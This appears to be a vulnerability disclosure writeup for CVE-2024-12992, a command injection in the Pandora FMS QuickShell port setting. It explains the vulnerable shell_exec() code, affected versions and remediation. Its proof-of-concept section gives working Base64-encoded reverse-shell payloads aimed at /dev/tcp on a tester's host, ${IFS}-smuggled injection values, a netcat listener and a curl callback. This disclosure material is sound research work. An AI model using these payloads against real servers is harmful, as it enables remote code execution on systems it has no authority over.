H00DIE-GR3YGitHub ↗ (opens in a new tab)
Menu
ORIGINAL RESEARCHCVE-2024-12992

CVE-2024-12992 — Pandora FMS QuickShell Port Command Injection

Authenticated OS command injection in the Pandora FMS goTTY QuickShell configuration, where the attacker-controlled port value reaches shell_exec() without shell-safe handling.

Originally published on Rapid7 AttackerKB · 2025-03-18 · revised 2025-08-13

Overview

CVE-2024-12992 is an authenticated OS command injection vulnerability in the Pandora FMS goTTY QuickShell configuration. The gotty_port setting is inserted into a shell command without shell-safe escaping and later executed with shell_exec().

The original research identified the issue in the QuickShell functionality introduced in Pandora FMS 774. A user with administrative access can place shell metacharacters in the port configuration and obtain command execution on the Pandora FMS server.

Attack prerequisites

Exploitation requires a valid Pandora FMS administrator account with permission to modify QuickShell settings.

Root cause

The vulnerable code is located in /var/www/html/pandora_console/include/functions_cron_task.php, inside cron_task_start_gotty(bool $restart_mode=true).

// begin vulnerable code section
if ($start_proc === true && file_exists('/usr/bin/pandora_gotty') === true) {
        $logFilePath = $config['homedir'].'/log/gotty_cron_tmp.log';
        shell_exec('touch '.$logFilePath);

        // Start gotty process and capture the output.
        $command = '/usr/bin/nohup /usr/bin/pandora_gotty --config /etc/pandora_gotty/pandora_gotty.conf -p '.$config['gotty_port'].' /usr/bin/pandora_gotty_exec > '.$logFilePath.' 2>&1 &';
        shell_exec($command);
// end vulnerable code section

The gotty_port value becomes part of $command and is then passed directly to shell_exec(). Because the value is not validated as a numeric port or otherwise escaped for the shell, injected shell syntax is interpreted as part of the command line.

Proof of concept

  1. Sign in to Pandora FMS as an administrator.
  2. Navigate to Management → Settings → System Settings → QuickShell.
  3. Replace the Port setting with a command-injection payload.
  4. Save the configuration to trigger the vulnerable workflow.

Pandora FMS QuickShell command injection

The original testing avoided literal spaces by Base64-encoding the desired shell command and using IFS as a separator.

Reverse shell

bash -i >& /dev/tcp/192.168.201.8/4444 0>&1
echo -n "bash -i >& /dev/tcp/192.168.201.8/4444 0>&1"|base64 -w0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS44LzQ0NDQgMD4mMQ==

Injected value:

;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS44LzQ0NDQgMD4mMQ==|base64${IFS}-d|bash;

Start the listener with nc -lvnp 4444.

Minimal shell

(sh)0>/dev/tcp/192.168.201.8/4444
echo -n "(sh)0>/dev/tcp/192.168.201.8/4444"|base64 -w0
KHNoKTA+L2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0

Injected value:

;echo${IFS}KHNoKTA+L2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0|base64${IFS}-d|bash;

The original research also confirmed execution using a simple HTTP callback payload such as ;curl${IFS}192.168.201.8; with python3 -m http.server 80 listening on the testing system.

Tested versions

The following releases were confirmed vulnerable:

  • Pandora FMS Enterprise 780 on Rocky Linux 9.5
  • Pandora FMS Enterprise 777.6 on Ubuntu 22.04
  • Pandora FMS Community 777-LTS on Ubuntu 22.04

Impact

An authenticated administrator can execute arbitrary operating-system commands on the Pandora FMS host, turning access to an application configuration function into server-side remote code execution.

Remediation

Upgrade Pandora FMS to a release containing the vendor fix. The archived assessment recommends upgrading to the latest available release.

References

Credits

Discovery: h00die-gr3y.